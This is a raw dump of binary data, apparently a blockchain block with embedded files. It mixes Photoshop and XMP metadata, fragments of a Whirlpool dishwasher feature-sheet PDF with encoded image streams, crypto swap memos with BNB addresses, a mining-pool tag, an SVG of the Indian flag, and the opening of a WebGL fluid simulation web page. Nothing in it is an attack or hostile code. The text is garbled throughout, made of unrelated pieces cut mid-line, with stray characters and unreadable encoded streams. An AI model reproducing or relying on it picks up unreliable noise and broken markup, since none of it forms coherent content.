     <rdf:li>adobe:docid:photoshop:f04af9fb-d444-11e6-a6c6-M
88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:f55de4ad-1432-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:f56863e4-5a27-d343-a2a3-00f84bb3374d</rdf:li>
     <rdf:li>adobe:docid:photoshop:f86c6936-4e94-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:f8c8088e-f03b-11e5-8134-d374b6cca590</rdf:li>
     <rdf:li>uuid:28ce3d11-e446-4e74-b504-68b6bd547bf1</rdf:li>
     <rdf:li>uuid:35E394C1215BDD118BD5AF32048ED772</rdf:li>
     <rdf:li>uuid:4360103d-b667-4864-ad4b-efab57ecM
     <rdf:li>uuid:5C69602CA5B0DD118C33DD90C3BAA1BA</rdf:li>
     <rdf:li>uuid:7735495D69EB11DFA0CE945DB889DFA7</rdf:li>
     <rdf:li>uuid:8D4476583150DE119A18E6960CA3AFBD</rdf:li>
     <rdf:li>uuid:94570D3ECE97DE119227821D63F29C99</rdf:li>
     <rdf:li>uuid:9B0E6C1FE2F4DA11815BE009F33CC46F</rdf:li>
     <rdf:li>uuid:EF8E058ADBB511DCBFAEBA908EE3C948</rdf:li>
     <rdf:li>uuid:ad5671f3-4b51-4492-8ded-c9b503dfa83d</rdf:li>
     <rdf:li>uuid:b2040c03-13d9-46be-805a-49393f795d43</rdf:li>
id:01084b69-84f3-49a1-927f-367af15396b3</rdf:li>
     <rdf:li>xmp.did:0180117407206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:01801174072068118DBBE066DC6FBE84</rdf:li>
     <rdf:li>xmp.did:02801174072068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:0380117407206811822ACA20C111A7C8</rdf:li>
     <rdf:li>xmp.did:0380117407206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:03d2b8bf-0c7f-1440-a16c-dc3f3fafbb4c</rdf:li>
     <rdf:li>xmp.did:05801174072068118083A5C130DEFB9E</rdf:li>
     <rdf:li>xmp.did:05801M
17407206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:0680117407206811994CF98C664213F1</rdf:li>
     <rdf:li>xmp.did:07801174072068118C14BCDE88F8DB81</rdf:li>
     <rdf:li>xmp.did:08801174072068118C14C5D41485056E</rdf:li>
     <rdf:li>xmp.did:088011740720681197A5B926F9A3262B</rdf:li>
     <rdf:li>xmp.did:09801174072068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:0A8011740720681183D1FE24C578B30B</rdf:li>
     <rdf:li>xmp.did:0A801174072068118C14AC6C23AA9A29</rdf:li>
     <rdf:li>xmp.did:1371AFE7A926E311A29FDM
D87296B9FC2</rdf:li>
     <rdf:li>xmp.did:14E6BD0C57ADE01182289E87FDE00471</rdf:li>
     <rdf:li>xmp.did:171D8CFAF820E61185B1A0ED451D2520</rdf:li>
     <rdf:li>xmp.did:17498E793C2068118083A5C130DEFB9E</rdf:li>
     <rdf:li>xmp.did:18477E972021681194579B9D89B17B72</rdf:li>
     <rdf:li>xmp.did:1ad00be7-767d-1b42-9936-c76b0d4bf898</rdf:li>
     <rdf:li>xmp.did:230C9D251C216811822AA93596ABFA29</rdf:li>
     <rdf:li>xmp.did:23B3C6EC28236811822A93E5494BD29C</rdf:li>
     <rdf:li>xmp.did:260A05805F74E11195F984841F8100A5<M
     <rdf:li>xmp.did:270A05805F74E11195F984841F8100A5</rdf:li>
     <rdf:li>xmp.did:27b4ebca-9595-4d29-84c2-ef1ab9805a49</rdf:li>
     <rdf:li>xmp.did:2D5508FE2323681188C6CBB3567F64D3</rdf:li>
     <rdf:li>xmp.did:2b85d5fc-c967-4a79-a30a-088fda2ae206</rdf:li>
     <rdf:li>xmp.did:37ebc5b3-2dce-497c-aebf-fa5090ff2baa</rdf:li>
     <rdf:li>xmp.did:383037C1C3206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:3A3037C1C3206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:3C9B17A8AF4EE111AA63ACBDD224850B</rdfM
     <rdf:li>xmp.did:3a7a1ed1-d820-42f2-924a-3f00cc204f0a</rdf:li>
     <rdf:li>xmp.did:3de42d85-5a1c-4265-943e-29be7ba76af2</rdf:li>
     <rdf:li>xmp.did:4014f039-5df4-de40-b27f-efb2882feb31</rdf:li>
     <rdf:li>xmp.did:48fb8ba7-3b8a-044f-a244-a3c1b4b56fe4</rdf:li>
     <rdf:li>xmp.did:4D07BB8972216811994CD96C32D67D6A</rdf:li>
     <rdf:li>xmp.did:54056386-b35b-7d49-b99d-24b3a47b2d87</rdf:li>
     <rdf:li>xmp.did:58C0A93330206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:5D5A12800F206811A96198B5F7DB75E3<M
     <rdf:li>xmp.did:62de2bcb-615a-7544-8f37-019bf43ea97e</rdf:li>
     <rdf:li>xmp.did:652671c3-3996-4491-8490-eaa09cc293c1</rdf:li>
     <rdf:li>xmp.did:6BB4A6E8B62068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:6FC5D488DC2068118083D6782AA7D6E9</rdf:li>
     <rdf:li>xmp.did:7069A24829206811AFFDF1BBBCAB7A77</rdf:li>
     <rdf:li>xmp.did:75c39aa9-e7f4-4f64-b921-ef5b184a319c</rdf:li>
     <rdf:li>xmp.did:8360e080-603d-2d4c-ab36-ec6dac89c539</rdf:li>
     <rdf:li>xmp.did:881574AD6F21681194579B9D89B17B72<M
     <rdf:li>xmp.did:89E3DF341D6DE1118002EA4D08B0CC53</rdf:li>
     <rdf:li>xmp.did:95fa4c3c-abc2-4699-b584-285390d3165e</rdf:li>
     <rdf:li>xmp.did:979d4241-bedb-4537-bc3b-127dcdac838c</rdf:li>
     <rdf:li>xmp.did:9AC4463499206811994CE50C75C2EC52</rdf:li>
     <rdf:li>xmp.did:9CBDF773D250E111B5F7AB09216DFFD3</rdf:li>
     <rdf:li>xmp.did:AC6D0B36F37CE21193E79AD6EBE52ECC</rdf:li>
     <rdf:li>xmp.did:B970D19677226811822A93E5494BD29C</rdf:li>
     <rdf:li>xmp.did:B9B5631B182068118C14FDDA38272A46</rdf:li>M
     <rdf:li>xmp.did:BE24487DF22068118083DEA52C504518</rdf:li>
     <rdf:li>xmp.did:CCFA3D18352068118083D6782AA7D6E9</rdf:li>
     <rdf:li>xmp.did:D1DEE82B1620E111A58EFEA7038DD527</rdf:li>
     <rdf:li>xmp.did:D8C4FDA5B7206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:DCE14A8C7E206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:E1C6DA8F8320681188C682B364FA5400</rdf:li>
     <rdf:li>xmp.did:EAD45601462068119109881C0C4CCA31</rdf:li>
     <rdf:li>xmp.did:F4ACBA93EF20681194579B9D89B17B72</rdf:li>
p.did:F682BD22A1206811822ACA20C111A7C8</rdf:li>
     <rdf:li>xmp.did:F77F1174072068118083C50FBBC530F3</rdf:li>
     <rdf:li>xmp.did:F77F117407206811920CD95510C3895A</rdf:li>
     <rdf:li>xmp.did:F97F1174072068118083C50FBBC530F3</rdf:li>
     <rdf:li>xmp.did:F97F11740720681183D1CDA6483B5EAE</rdf:li>
     <rdf:li>xmp.did:FB7F1174072068118083C50FBBC530F3</rdf:li>
     <rdf:li>xmp.did:FB7F11740720681192B094E1E5016938</rdf:li>
     <rdf:li>xmp.did:FC6A2D990821681183D1C1099BA7BF4E</rdf:li>
     <rdf:li>xmp.did:FE7F117407M
206811920CD95510C3895A</rdf:li>
     <rdf:li>xmp.did:ad8b8db0-de38-8e45-a929-ee774380af5b</rdf:li>
     <rdf:li>xmp.did:ecb09f95-65ac-584e-be77-26db4767f095</rdf:li>
     <rdf:li>xmp.did:ecfe0885-0f27-4819-a514-9938dd6774ae</rdf:li>
   </photoshop:DocumentAncestors>
  </rdf:Description>
<</BitsPerComponent 8/ColorSpace 19 0 R/Decode[0.0 255.0]/Filter/FlateDecode/Height 77/Intent/RelativeColorimetric/Length 2898/Metadata 54 0 R/Name/X/Subtype/Image/TM
ype/XObject/Width 77>>stream
<</IsMap false/S/URI/URI(http://access.whirlpool.com/mr/getMediaType.do?mediaType=Dimension Guide&sku=WDF540PADM&language=EN)>>
<</IsMap false/S/URI/M
URI(http://access.whirlpool.com/mr/getMediaType.do?mediaType=Installation Instruction&sku=WDF540PADM&language=EN)>>
<</IsMap false/S/URI/URI(http://access.whirlpool.com/mr/getMediaType.do?mediaType=Use and Care&sku=WDF540PADM&language=EN)>>
<</IsMap false/S/URI/URI(http://access.whirlpool.com/mr/getMediaType.do?mediaType=Energy Guide&sku=WDF540PADM&language=EN)>>
<</IsMap false/S/URI/URI(http://access.whirlpool.com/mr/getMediaType.do?mediaType=Warranty&sku=WDF540PADM&M
[/Indexed/DeviceRGB 255 2 0 R]
<</Filter[/ASCII85Decode/FlateDecode]/Length 428>>stream
8;X]O>EqN@%''O_@%e@?J;%+8(9e>X=MR6S?i^YgA3=].HDXF.R$lIL@"pJ+EP(%0
b]6ajmNZn*!='OQZeQ^Y*,=]?C.B+\Ulg9dhD*"iC[;*=3`oP1[!S^)?1)IZ4dup`
E1r!/,*0[*9.aFIR2&b-C#s<Xl5FH@[<=!#6V)uDBXnIr.F>oRZ7Dl%MLY\.?d>Mn
6%Q2oYfNRF$$+ON<+]RUJmC0I<jlL.oXisZ;SYU[/7#<&37rclQKqeJe#,UF7Rgb1
VNWFKf>nDZ4OTs0S!saG>GGKUlQ*Q?45:CI&4J'_2j<etJICj7e7nPMb=O6S7UOH<
PO7r\I.Hu&e0d&E<.')fERr/l+*W,)q^D*ai5<uuLX.7g/>$XKrcYp0nM
l[$6Nn+Z_Nq0]s7hs]`XX1nZ8&94a\~>
<</Count 0/Type/Outlines>>
<</BitsPerComponent 8/ColorSpace 1 0 R/Filter[/ASCII85Decode/FlateDecode]/Height 99/Length 1694/Width 76>>stream
8;Z\74-JV`$t\!G<tR9GI?oV^\]@/J7G_g%b`:fq*B?$]1\gGi;7>9RDUh]<=L;Y^
JfZ#M#;ChGa$)\=T;UTpq=.C=r.4;-nU@q8EMN\rUW:9q@@YB+^LqG>Bmc?EhDH)O
30=,bro@DrJgWe.LQe?ES7n@)Zo3c9BtOe.h,o"gb9p)DI.6@gS!7(Ab-;le!d"5b
BCBJV'jUNsK8#j\chSIkiVrg9L;2M'9R@PdULT<G0,Eiu2Y$S?1+leh^rP@8dUG<W
6#?lQc@B8f4$T6=1Hq,pjGQhN<Z2U6mQM
'_qB%\iZEYIS*]L+&rZ]45F5?,1V8Wm/1
2Hf&j)CQO_l4YK7&KdjrECGJX30T3Arts?`$CMn=&hQNDfQY?-5#NJ;<YinbXQu($
>/''CSRgd)GMCPHj$"V"=,@Z21([S<IGiM(OsJ3IO[=c&4%[03'<#lh=NiKB:Ys#Y
NZ1QK5UFW@2U`1WO!L52PLR)q\:QAPe@4.6Ke$:39BuDa6sYqC_3V?^CPY:81S_R$
Fnj+X2K0sT3@$lc=p4qF[d"ZIQ3CX7<UHm#]WlX]LW^O86=Lg6V)OF$j'>n^1/c;]
=(1$d1BEVp9thh)2TF@8Fg/=/BskM23`[aK9W(:UGQCngo,;jQ9hW5)Af"N\9ZQp[
K(b9_WaMgJn&8?i8`n2^LG99I!LBO#+0Ik5N*Y_Vmd!r^N>*0gL?54-$(Js76>!U_
ZF#b"&@]SN-n-bf.thS:9HJT/._b[s\O"0=R[V:RIU"-/U(jP+=qHtWbX<)Lc8(tB
6e3ni<ND;=2'Z%#j"OTIXV5%M
5;`.NAe)HIq3`jecn#Ihs>u#'_KsJ+UC8'?2OtRVq
lZtnAEaBc-=G`@t'ua51]P;RCpoLX(:O+[8e\MirOal1ePC;@@l'0d2bX2;`;"CBI
i#LL]eDk/X^8tB\[u-)]iEA3Il;X2LV2Y#SNuAn+7V(;&^>=Q<r?Y6Q_?4CTE91/W
I[",FhCQ^I&j8[uplMj'?Q3SUA-]hT]kYmO3kf-CV*(CuL_qU9r)A&LM_Fp,:GHML
<kk#m7)89[Vti.k^R_M\f"u2#8uh<s1"fjHrdB,C.fZ!mF'K`X8XQ[DF-(eikL8tN
#IRIN[8&W'r-nPj^$@3%1p-LR+4iaK`kCW$li+*rf+1@DUOTJZ]<:)gY=oFGN]I@8
=+%8Jl=j;!:d))=aA:E8l&eIl#Wd*_n7@]Q<RT0!hP]i9+)W`047m!bEJ>3T%Yh[B
UfuoL=fYK3?5tn+<Sb(*E.KS'\9/PM^^=D^g>`NnFTC^f,K>qIB<<%qi9K54)t`*V
`r_Y:K+_pp,4D&7-u*sRbVm<[5>^*$fIkseKQq)@Et!=,UPpk
E!>gC<,9`)g3""E/n\Am"u<==SlHJqJ=]LqgJEa)*Ot/mL8GJ0:@3;Qi/4[]XJ<lH
q\[u1:p&ahq&1H[iO1Dho.-Qp@k#;0\1:fGJg-cm/c%,S3+qQ(#@H6:i7\uSS&RND
`>?X6I)m1$96!fi><_%>okT&Um_B$fdGEOFki<Y/(97D:0p*FueI&2hO&OTeK#Q5l
^JU.$Ju4iI<dp^=kF?=h1r7sEoYNXgA,N?.Vb+nR?V$LMPK$!u!2,CADNVMZ'qB25
YK55tLlW]jKt9(%2H0BeFeuFEI%GH.fP,g>!3@1N*r~>
<</Count 1/Kids[10 0 R]/Type/Pages>>
<</Length 9438/Subtype/XML/Type/Metadata>>stream
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164050, 2019/10/01-18:03:16        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:ns3="http://ns.whirlpool.com/wp/1.0/"
            xmlns:dam="http://www.day.com/dam/1.0"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
 xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/"
            xmlns:ExtensisFontSense="http://www.extensis.com/meta/FontSense/"
            xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/">
         <ns3:localizedData>{"language":"fr_ca","title":"Fiche technique","description":""}</ns3:localizedData>
         <ns3:litPartNumber>wdf540padspecsheetv01</ns3:litPartM
         <ns3:modelNumber>WDF540PADB,WDF540PADM,WDF540PADT,WDF540PADW</ns3:modelNumber>
         <ns3:noIndex>false</ns3:noIndex>
         <ns3:category>
            <rdf:Bag>
               <rdf:li>category:cleaning</rdf:li>
            </rdf:Bag>
         </ns3:category>
         <ns3:brand>
            <rdf:Bag>
               <rdf:li>brand:whirlpool</rdf:li>
            </rdf:Bag>
         </ns3:brand>
         <ns3:imageType>
            <rdf:Bag>
               <rdf:li>asset-type:feature-sheet</rdf:liM
            </rdf:Bag>
         </ns3:imageType>
         <ns3:product>
            <rdf:Bag>
               <rdf:li>products:wdf540padm</rdf:li>
               <rdf:li>products:wdf540padt</rdf:li>
               <rdf:li>products:wdf540padw</rdf:li>
               <rdf:li>products:wdf540padb</rdf:li>
            </rdf:Bag>
         </ns3:product>
         <dam:Trapped>False</dam:Trapped>
         <dam:Physicalheightininches>11.0</dam:Physicalheightininches>
         <dam:Physicalwidthininches>8.5</dam:PhysicalwidM
         <dam:numPages>1</dam:numPages>
         <dam:extracted>2020-01-29T16:00:05.427-05:00</dam:extracted>
         <dam:Producer>Adobe PDF Library 15.0</dam:Producer>
         <dam:sha1>1605aff590a18a1d65829a89fc34ebdfd5a94363</dam:sha1>
         <dam:size>180786</dam:size>
         <xmp:CreatorTool>Adobe InDesign 15.0 (Macintosh)</xmp:CreatorTool>
         <xmp:MetadataDate>2020-01-24T12:42:32.000-05:00</xmp:MetadataDate>
         <xmp:ModifyDate>2020-01-24T12:42:32.000-05:00</xmp:ModifyDate>
    <xmp:CreateDate>2020-01-24T12:42:28.000-05:00</xmp:CreateDate>
         <dc:format>application/pdf</dc:format>
         <dc:modified>2021-05-20T10:19:00.004Z</dc:modified>
            <rdf:Alt>
               <rdf:li xml:lang="x-default">Feature Sheet</rdf:li>
            </rdf:Alt>
         </dc:title>
         <xmpMM:DocumentID>xmp.id:f450a171-598c-4b96-a5d4-ce498dbd51de</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>xmp.did:2b438359-5770-4808-8117-61c0f63fb8a6</xmpMM:OriginalDocumeM
         <xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
         <xmpMM:InstanceID>uuid:451e9ac6-4a58-6044-b271-248c64a2a05c</xmpMM:InstanceID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:ad4ab5df-e9c0-497f-b485-d997289c7a22</stRef:instanceID>
            <stRef:originalDocumentID>xmp.did:2b438359-5770-4808-8117-61c0f63fb8a6</stRef:originalDocumentID>
            <stRef:renditionClass>default</stRef:renditionClass>
            <stRef:documentID>xmp.did:eM
b02b458-318a-4768-82ec-d505e0a41416</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:softwareAgent>Adobe InDesign 15.0 (Macintosh)</stEvt:softwareAgent>
                  <stEvt:when>2020-01-24T12:42:28.000-05:00</stEvt:when>
                  <stEvt:parameters>from application/x-indesign to application/pdf</stEvt:parameters>
    <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <pdf:Producer>Adobe PDF Library 15.0</pdf:Producer>
         <pdf:Trapped>false</pdf:Trapped>
         <ExtensisFontSense:slug>
            <rdf:Bag>
               <rdf:li rdf:parseType="Resource">
                  <ExtensisFontSense:Foundry>Adobe Systems</ExtensisFontSense:Foundry>
                  <ExtensisFontSense:PostScriptName>HelveticaNeueLTStd-Roman</ExtensisFontSense:PostScriptName>
                <ExtensisFontSense:KerningChecksum>0</ExtensisFontSense:KerningChecksum>
                  <ExtensisFontSense:FontKind>OpenType - PS</ExtensisFontSense:FontKind>
                  <ExtensisFontSense:Version>2.100</ExtensisFontSense:Version>
                  <ExtensisFontSense:Family>Helvetica Neue LT Std</ExtensisFontSense:Family>
                  <ExtensisFontSense:Checksum>2129167444</ExtensisFontSense:Checksum>
                  <ExtensisFontSense:FontSense_1.2_Checksum>2129167444</ExtensisFontM
Sense:FontSense_1.2_Checksum>
                  <ExtensisFontSense:OutlineFileSize>0</ExtensisFontSense:OutlineFileSize>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <ExtensisFontSense:Foundry>Adobe Systems</ExtensisFontSense:Foundry>
                  <ExtensisFontSense:PostScriptName>HelveticaNeueLTStd-Bd</ExtensisFontSense:PostScriptName>
                  <ExtensisFontSense:KerningChecksum>0</ExtensisFontSense:KerningChecksum>
                  <ExtensisFontSense:FM
ontKind>OpenType - PS</ExtensisFontSense:FontKind>
                  <ExtensisFontSense:Version>2.100</ExtensisFontSense:Version>
                  <ExtensisFontSense:Family>Helvetica Neue LT Std</ExtensisFontSense:Family>
                  <ExtensisFontSense:Checksum>4218679263</ExtensisFontSense:Checksum>
                  <ExtensisFontSense:FontSense_1.2_Checksum>4218679263</ExtensisFontSense:FontSense_1.2_Checksum>
                  <ExtensisFontSense:OutlineFileSize>0</ExtensisFontSense:OutlineFileSize>
               <rdf:li rdf:parseType="Resource">
                  <ExtensisFontSense:Foundry>--</ExtensisFontSense:Foundry>
                  <ExtensisFontSense:PostScriptName>YanoneKaffeesatz-Regular</ExtensisFontSense:PostScriptName>
                  <ExtensisFontSense:KerningChecksum>0</ExtensisFontSense:KerningChecksum>
                  <ExtensisFontSense:FontKind>OpenType - TT</ExtensisFontSense:FontKind>
                  <ExtensisFontSense:Version>1.003</ExtensisFontSense:Version>
             <ExtensisFontSense:Family>Yanone Kaffeesatz</ExtensisFontSense:Family>
                  <ExtensisFontSense:Checksum>161879921</ExtensisFontSense:Checksum>
                  <ExtensisFontSense:FontSense_1.2_Checksum>161879921</ExtensisFontSense:FontSense_1.2_Checksum>
                  <ExtensisFontSense:OutlineFileSize>0</ExtensisFontSense:OutlineFileSize>
               </rdf:li>
            </rdf:Bag>
         </ExtensisFontSense:slug>
         <Iptc4xmpCore:CreatorContactInfo rdf:parseType="ResourcM
      </rdf:Description>




                                                           M





                                                                          M





                                                                                         M






<</CreationDate(D:20200124124228-05'00')/Creator(Adobe InDesign 15.0 \(Macintosh\))/ModDate(D:20210520101904Z)/Producer(Adobe PDF Library 15.0)/Title(Feature Sheet)/Trapped/false>>
<</Size 8/ID[<3DD0E233061D449FB063BA7E77878260><C1A115B44BB1B2110A00F03B7537FE7F>]>
uiCCPkCGColorSpaceDisplayP3
CjA=:BNB.BNB:bnb1hv643vu0tzwdx07tguz8lsjnevd6xmd3zp5v53:2953052:te:0
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:E1CB2F07ABCE11EDB8F9D20751092671" xmpMM:DocumentID="xmp.did:E1CB2F08ABCE11EDB8F9D20751092671"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E1CB2F05ABCE11EDB8F9D20751092671" stRef:documentID="xmp.did:E1CB2F06ABCE11EDB8F9D20751092671"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:B1640E82ABCD11ED9CEBA42C26DFAC06" xmpMM:DocumentID="xmp.did:B1640E83ABCD11ED9CEBA42C26DFAC06"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B1640E80ABCD11ED9CEBA42C26DFAC06" stRef:documentID="xmp.did:B1640E81ABCD11ED9CEBA42C26DFAC06"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iCCPkCGColorSpaceITUR_709
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <exif:PixelXDimension>306</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
     <exif:PixelYDimension>298</exif:PixelYDimension>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <tiff:YResolution>144</tiff:YResolution>
         <tiff:XResolution>144</tiff:XResolution>
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
/ViaBTC/Mined by denga/,
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:D75ADE20ABD011ED9DACAE87F50BA35C" xmpMM:DocumentID="xmp.did:D75ADE21ABD011ED9DACAE87F50BA35C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D75ADE1EABD011ED9DACAE87F50BA35C" stRef:documentID="xmp.did:D75ADE1FABD011ED9DACAE87F50BA35C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
Aj?=:BNB.BNB:bnb1hgh8ht2p534tvyema05upycm0tg5qsygc5zfqv:1168654::0
KjI=:BNB.BUSD-BD1:bnb1dp6d9zsswmcz9te9a8arx5qet5wulawyf7u4vv:1218198271:te:0
g!w!w!w!w!w!w!w!w!w!
&j$Julia Dirks + Sven Neubauer =
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 225 150" width="1350" height="900"><rect width="225" height="150" fill="#f93"/><rect width="225" height="50" y="50" fill="#fff"/><rect width="225" height="50" y="100" fill="#128807"/><g transform="translate(112.5,75)"><circle r="20" fill="#008"/><circle r="17.5" fill="#fff"/><circle r="3.5" fill="#008"/><g id="d"><g id="c"><g id="b"><g id="a"><circle r="0.875" fill="#008" transform="rotate(7.5) translate(17.5)"/><path fiMI
ll="#008" d="M 0,17.5 0.6,7 C 0.6,7 0,2 0,2 0,2 -0.6,7 -0.6,7 L 0,17.5 z"/></g><use xlink:href="#a" transform="rotate(15)"/></g><use xlink:href="#b" transform="rotate(30)"/></g><use xlink:href="#c" transform="rotate(60)"/></g><use xlink:href="#d" transform="rotate(120)"/><use xlink:href="#d" transform="rotate(-120)"/></g></svg>h!
text/plain;charset=utf-8
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:A0BFA7A3ABC811ED9B7A9995B800D2EC" xmpMM:DocumentID="xmp.did:A0BFA7A4ABC811ED9B7A9995B800D2EC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A0BFA7A1ABC811ED9B7A9995B800D2EC" stRef:documentID="xmp.did:A0BFA7A2ABC811ED9B7A9995B800D2EC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
        <meta charset="utf-8">
        <meta http-equiv="Cache-Control" content="no-cache">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
        <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="mobile-web-app-capable" content="yes">
        <link rel="apple-touch-icon" href="logo.png">
        <link rel="M
icon" href="logo.png">
        <title>WebGL Fluid Simulation</title>
        <meta name="description" content="A WebGL fluid simulation that works in mobile browsers.">
        <meta property="og:type" content="website">
        <meta property="og:title" content="Webgl Fluid Simulation">
        <meta property="og:description" content="A WebGL fluid simulation that works in mobile browsers.">
        <meta property="og:url" content="https://paveldogreat.github.io/WebGL-Fluid-Simulation/">
        <meta property="M
og:image" content="https://paveldogreat.github.io/WebGL-Fluid-Simulation/logo.png">
            @font-face {
                font-family: 'iconfont';
                src: url('iconfont.ttf') format('truetype');
                user-select: none;
            html, body {
                overflow: hidden;
                background-color: #000;
                margin: 0;
                position: fixed;
                height: 100%;
            canvas {
                width: 100%;
                height: 100%;
            window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
            ga('create', 'UA-105392568-1', 'auto');
            ga('send', 'pageview');
        <canvas></canvas>
        <script> //Credit to Pavel Dobyakov for original fluid simulation httpM
s://github.com/PavelDoGreat/
